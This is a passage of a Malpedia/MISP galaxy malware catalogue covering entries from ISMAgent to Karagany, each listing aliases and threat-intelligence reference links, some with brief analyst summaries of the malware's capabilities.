https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb
http://benkow.cc/DreambotSAS19.pdf
https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/
https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/
https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif
https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html
https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware
https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245
https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/
https://www.vmray.com/analyzing-ursnif-behavior-malware-sandbox/
https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489
https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/
https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15

https://lokalhost.pl/gozi_tree.txt

https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/

https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/

https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/

https://www.youtube.com/watch?v=jlc7Ahp8Iqg

https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy

https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/

https://blog.yoroi.company/research/ursnif-long-live-the-steganography/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/

https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/

https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/

https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/

https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/

https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much

https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/

https://blog.morphisec.com/ursnif/gozi-delivery-excel-macro-4.0-utilization-uptick-ocr-bypass

https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf

https://www.youtube.com/watch?v=KvOpNznu_3w

https://www.cyberbit.com/new-ursnif-malware-variant/

https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://github.com/mlodic/ursnif_beacon_decryptor

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/

https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/

https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef

https://0xtoxin.github.io/threat%20breakdown/Gozi-Italy-Campaign/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://www.tgsoft.it/files/report/download.asp?id=7481257469

https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0

https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/

https://www.tgsoft.it/files/report/download.asp?id=568531345

https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/

https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks

https://blog.talosintelligence.com/2020/07/valak-emerges.html

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/

https://twitter.com/JAMESWT_MHT/status/1712783250446328114?t=iLKXzsZuS1TTa0i9sZFkQA&s=19

https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html

https://threatresearch.ext.hp.com/detecting-ta551-domains/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work

https://www.proofpoint.com/us/blog/threat-insight/out-sandbox-wikiloader-digs-sophisticated-evasion

https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html

https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware

https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware

https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features

https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/

https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html

https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/

http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html

https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/

https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145

https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance

https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them

https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html

https://blog.group-ib.com/gozi-latest-ttps

https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html

https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/

https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/

https://redcanary.com/resources/webinars/deep-dive-process-injection/

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/

https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf

https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/

https://kostas-ts.medium.com/ursnif-vs-italy-il-pdf-del-destino-5c83d6281072

https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update

https://www.bridewell.com/insights/news/detail/hunting-for-ursnif

https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/

https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/

ISMAgent

The tag is: *misp-galaxy:malpedia="ISMAgent"*

ISMAgent is also known as:

Table 4176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
http://www.clearskysec.com/ismagent/

ISMDoor

The tag is: *misp-galaxy:malpedia="ISMDoor"*

ISMDoor is also known as:

Table 4177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor
https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
http://www.clearskysec.com/greenbug/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/

iSpy Keylogger

The tag is: *misp-galaxy:malpedia="iSpy Keylogger"*

iSpy Keylogger is also known as:

Table 4178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger
https://www.zscaler.com/blogs/research/ispy-keylogger
https://www.secureworks.com/research/threat-profiles/gold-skyline

IsraBye

The tag is: *misp-galaxy:malpedia="IsraBye"*

IsraBye is also known as:

Table 4179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.israbye
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://twitter.com/malwrhunterteam/status/1085162243795369984

ISR Stealer

ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.

Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public

The tag is: *misp-galaxy:malpedia="ISR Stealer"*

ISR Stealer is also known as:

Table 4180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer
https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/

IsSpace

The tag is: *misp-galaxy:malpedia="IsSpace"*

IsSpace is also known as:

- NfLog RAT

Table 4181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
https://unit42.paloaltonetworks.com/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
https://wikileaks.org/vault7/document/2015-09-20150911-280-CSIT-15085-NfLog/2015-09-20150911-280-CSIT-15085-NfLog.pdf
https://www.secureworks.com/research/threat-profiles/bronze-express

IXWare

The tag is: *misp-galaxy:malpedia="IXWare"*

IXWare is also known as:

Table 4182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ixware
https://fr3d.hk/blog/ixware-kids-will-be-skids

Jackal

According to Kaspersky Labs, this malware tool set has been used by APT group GoldenJackal, which has been observed since 2019 and which usually targets government and diplomatic entities in the Middle East and South Asia with espionage. It consists of multiple components and is written in .NET.

The tag is: *misp-galaxy:malpedia="Jackal"*

Jackal is also known as:

Table 4183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jackal
https://securelist.com/goldenjackal-apt-group/109677/

JackPOS

The tag is: *misp-galaxy:malpedia="JackPOS"*

JackPOS is also known as:

Table 4184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos

Jaff

The tag is: *misp-galaxy:malpedia="Jaff"*

Jaff is also known as:

Table 4185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff
https://intel471.com/blog/a-brief-history-of-ta505
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://clairelevin.github.io/malware/2023/02/14/jaff.html
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
http://malware-traffic-analysis.net/2017/05/16/index.html
https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart

Jager Decryptor

The tag is: *misp-galaxy:malpedia="Jager Decryptor"*

Jager Decryptor is also known as:

Table 4186. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor

Jaku

The tag is: *misp-galaxy:malpedia="Jaku"*

Jaku is also known as:

- C3PRO-RACOON
- EQUINOX
- KCNA Infostealer
- Reconcyc

Table 4187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku
https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf
https://www.brighttalk.com/webcast/7451/538775
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/

JanelaRAT

According to Zscaler, JanelaRAT is a heavily modified variant of BX RAT. Its focus is set on harvesting LATAM financial data and its method of extracting window titles for transmission underscores its targeted and stealthy nature. With an adaptive approach utilizing dynamic socket configuration and exploiting DLL side-loading from trusted sources, JanelaRAT poses a significant threat.

The tag is: *misp-galaxy:malpedia="JanelaRAT"*

JanelaRAT is also known as:

Table 4188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.janela_rat
https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech
https://medium.com/walmartglobaltech/janela-rat-and-a-stealer-extension-delivered-together-e274469a7df8

Janeleiro

The tag is: *misp-galaxy:malpedia="Janeleiro"*

Janeleiro is also known as:

Table 4189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.janeleiro
https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf
https://www.welivesecurity.com/2021/04/06/janeleiro-time-traveler-new-old-banking-trojan-brazil/

jason

Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.

The tag is: *misp-galaxy:malpedia="jason"*

jason is also known as:

Table 4190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jason
https://twitter.com/P3pperP0tts/status/1135503765287657472
https://marcoramilli.com/2019/06/06/apt34-jason-project/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

Jasus

The tag is: *misp-galaxy:malpedia="Jasus"*

Jasus is also known as:

Table 4191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus

https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

JCry

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia="JCry"*

JCry is also known as:

Table 4192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jcry
https://twitter.com/IdoNaor1/status/1101936940297924608
https://twitter.com/0xffff0800/status/1102078898320302080

Jeno

Ransomware.

The tag is: *misp-galaxy:malpedia="Jeno"*

Jeno is also known as:

- Jest
- Valeria

Table 4193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jeno
https://id-ransomware.blogspot.com/2020/04/jeno-ransomware.html

JessieConTea

JessieConTea is a remote access trojan that uses HTTP(S) for communication. It supports around 30 commands that include operations on the victim's filesystem, basic process management, file exfiltration (both plain and zipped), and the download and execution of additional tools from the attacker's arsenal. The commands are indexed by 32-bit integers, starting with the value 0x60D49D97.

The malware was delivered in-the-wild via trojanized applications like DeFi Wallet or Citrix Workspace.

JessieConTea generates POST parameters with a specific parameter name, jsessid, from which the

initial part of its name is derived. Also, it contains a specific RTTI symbol ".?AVCHttpConn@@", which inspired the second part of the name. It uses RC4 for C&C traffic encryption.

The tag is: *misp-galaxy:malpedia="JessieConTea"*

JessieConTea is also known as:

Table 4194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea
https://blog.talosintelligence.com/2019/01/fake-korean-job-posting.html
https://cn.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf
https://asec.ahnlab.com/en/57685/
https://securelist.com/lazarus-trojanized-defi-app/106195/

JhoneRAT

Cisco Talos identified JhoneRAT in January 2020. The RAT is delivered through cloud services (Google Drive) and also submits stolen data to them (Google Drive, Twitter, ImgBB, GoogleForms). The actors using JhoneRAT target Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain and Lebanon.

The tag is: *misp-galaxy:malpedia="JhoneRAT"*

JhoneRAT is also known as:

Table 4195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jhone_rat
https://blog.talosintelligence.com/2020/01/jhonerat.html
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html

Jigsaw

According to PCrisk, Jigsaw is ransomware that uses the AES algorithm to encrypt various files stored on computers. Targeted files include .jpg, .docx, .mp3, .mp4, and many others.

The tag is: *misp-galaxy:malpedia="Jigsaw"*

Jigsaw is also known as:

Table 4196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw
https://threatmon.io/solving-the-puzzle-reversing-the-new-stealer-jigsaw/

Jimmy

The tag is: *misp-galaxy:malpedia="Jimmy"*

Jimmy is also known as:

Table 4197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

JinxLoader

The tag is: *misp-galaxy:malpedia="JinxLoader"*

JinxLoader is also known as:

Table 4198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jinxloader
https://yaraify.abuse.ch/yarahub/rule/mal_jinxv2loader/

JLORAT

The tag is: *misp-galaxy:malpedia="JLORAT"*

JLORAT is also known as:

Table 4199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jlorat
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/

Joanap

The tag is: *misp-galaxy:malpedia="Joanap"*

Joanap is also known as:

Table 4200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A

Joao

The tag is: *misp-galaxy:malpedia="Joao"*

Joao is also known as:

Table 4201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joao
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

win.JobCrypter

The tag is: *misp-galaxy:malpedia="win.JobCrypter"*

win.JobCrypter is also known as:

Table 4202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jobcrypter
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/jobcrypter-ransomware-with-new-routines-for-encryption-desktop-screenshots

Jolob

The tag is: *misp-galaxy:malpedia="Jolob"*

Jolob is also known as:

Table 4203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

JQJSNICKER

The tag is: *misp-galaxy:malpedia="JQJSNICKER"*

JQJSNICKER is also known as:

Table 4204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker
http://marcmaiffret.com/vault7/

JripBot

The tag is: *misp-galaxy:malpedia="JripBot"*

JripBot is also known as:

Table 4205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/

JSOutProx

JSOutProx is a sophisticated attack framework built using both Javascript and .NET. It uses the .NET (de)serialization feature to interact with a Javascript file which is the core module running on a victim machine. Once the malware is run on the victim, the framework can load several plugins performing additional malicious activities on the target.

The tag is: *misp-galaxy:malpedia="JSOutProx"*

JSOutProx is also known as:

Table 4206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jsoutprox
https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/
https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf
https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat
https://www.resecurity.com/blog/article/the-new-version-of-jsoutprox-is-attacking-financial-institutions-in-apac-and-mena-via-gitlab-abuse
https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese
https://twitter.com/zlab_team/status/1208022180241530882
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/
https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/

JSSLoader

The tag is: *misp-galaxy:malpedia="JSSLoader"*

JSSLoader is also known as:

Table 4207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader
https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/FIN7%20JSSLOADER%20FINAL%20WEB.pdf
https://www.mandiant.com/resources/evolution-of-fin7
https://malwarebytes.app.box.com/s/ym6r7o5hq0rx2nxjbctfv2sw5vx386ni
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html
https://www.bleepingcomputer.com/news/security/malicious-microsoft-excel-add-ins-used-to-deliver-rat-malware/

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.malwarebytes.com/blog/threat-intelligence/2022/08/jssloader-the-shellcode-edition
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.proofpoint.com/us/blog/threat-insight/jssloader-recoded-and-reloaded
https://www.microsoft.com/en-us/security/blog/2023/09/12/malware-distributor-storm-0324-facilitates-ransomware-access/
https://blog.morphisec.com/vmware-identity-manager-attack-backdoor
https://www.secureworks.com/blog/excel-add-ins-deliver-jssloader-malware
https://blog.morphisec.com/new-jssloader-trojan-delivered-through-xll-files

JuicyPotato

As described on the Github repository page, "A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM".

The tag is: *misp-galaxy:malpedia="JuicyPotato"*

JuicyPotato is also known as:

Table 4208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato
https://lifars.com/wp-content/uploads/2020/06/Cryptocurrency-Miners-XMRig-Based-CoinMiner-by-Blue-Mockingbird-Group.pdf
https://www.welivesecurity.com/2021/08/09/iispy-complex-server-side-backdoor-antiforensic-features/
https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html
https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/
https://asec.ahnlab.com/en/85942/
https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/
https://github.com/ohpe/juicy-potato
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

JUMPALL

According to FireEye, JUMPALL is a malware dropper that has been observed dropping HIGHNOON/ZXSHELL/SOGU.

The tag is: *misp-galaxy:malpedia="JUMPALL"*

JUMPALL is also known as:

Table 4209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jumpall
https://content.fireeye.com/apt-41/rpt-apt41/

Jupiter

The tag is: *misp-galaxy:malpedia="Jupiter"*

Jupiter is also known as:

- EarlyRAT

Table 4210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter
https://securelist.com/lazarus-andariel-mistakes-and-easyrat/110119/
https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499

KAgent

The tag is: *misp-galaxy:malpedia="KAgent"*

KAgent is also known as:

Table 4211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Kamasers

Kamasers is a DDOS botnet. The bot has backdoor capabilities as it connects to an attacker

controller C2 server. This allows it to download files, receive commands, and execute files, allowing it to perform HTTP and DNS flooding attacks. The bot is also used to access sensitive files.

The bot has been seen to be communicating with third-party platforms such as Telegram, Discord, and GitHub, using these platforms as backup C2 servers.

The tag is: *misp-galaxy:malpedia="Kamasers"*

Kamasers is also known as:

Table 4212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kamasers
https://x.com/abuse_ch/status/1971574897521336553

KamiKakaBot

A Telegram bot with browser stealing capabilities, written using the .NET framework.

The tag is: *misp-galaxy:malpedia="KamiKakaBot"*

KamiKakaBot is also known as:

- Kami

Table 4213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kami
https://twitter.com/jaydinbas/status/1604918636422070289

Kaolin RAT

Kaolin RAT is a complex modular RAT, with Release_TMain_x64.dll as its internal DLL name.

The malware provides standard backdoor functionality, including manipulation and listing of files and processes, exchanging the configuration, collecting the victim's system info, opening a TCP connection, and executing local commands and collecting their outputs.

Also, it is designed to execute additional DLL payloads in memory via specific exported functions: - _DoMyFunc, - _DoMyFunc2, - _DoMyThread, - _DoMyCommandWork.

Functionally, Kaolin RAT relies on an accompanying trojanized curl library to handle network and exfiltration operations, by importing functions such as: - SendDataFromURL, - ZipFolder, - UnzipStr, - curl wrappers.

For C&C communication, it employs AES encryption and attempts to evade network detection by randomly selecting words from a hardcoded custom dictionary to populate POST request

parameters. The malware's name is derived from one of these dictionary words ("kaolin").

The Kaolin RAT has been observed in Lazarus campaigns as a late-stage payload — typically following loaders like RollFling, RollSling, and RollMid — and serves also as a delivery vector for the FudModule rootkit with a 0-day exploit.

The tag is: *misp-galaxy:malpedia="Kaolin RAT"*

Kaolin RAT is also known as:

- KaolinTea

Table 4214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kaolin_rat
https://web.archive.org/web/20240418121020/https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/

Kapeka

The tag is: *misp-galaxy:malpedia="Kapeka"*

Kapeka is also known as:

- ICYWELL
- KNUCKLETOUCH
- QUEUESEED
- WRONGSENS

Table 4215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kapeka
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Research-Kapeka.pdf
https://www.ctfiot.com/183017.html
https://cert.gov.ua/article/6278706
https://threatmon.io/storage/understanding-the-kapeka-backdoor-detailed-analysis-by-apt44.pdf
https://threatmon.io/understanding-the-kapeka-backdoor-detailed-analysis-by-apt44/

Karagany

The tag is: *misp-galaxy:malpedia="Karagany"*

Karagany is also known as:

- Karagny

Table 4216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://www.secureworks.com/research/threat-profiles/iron-liberty
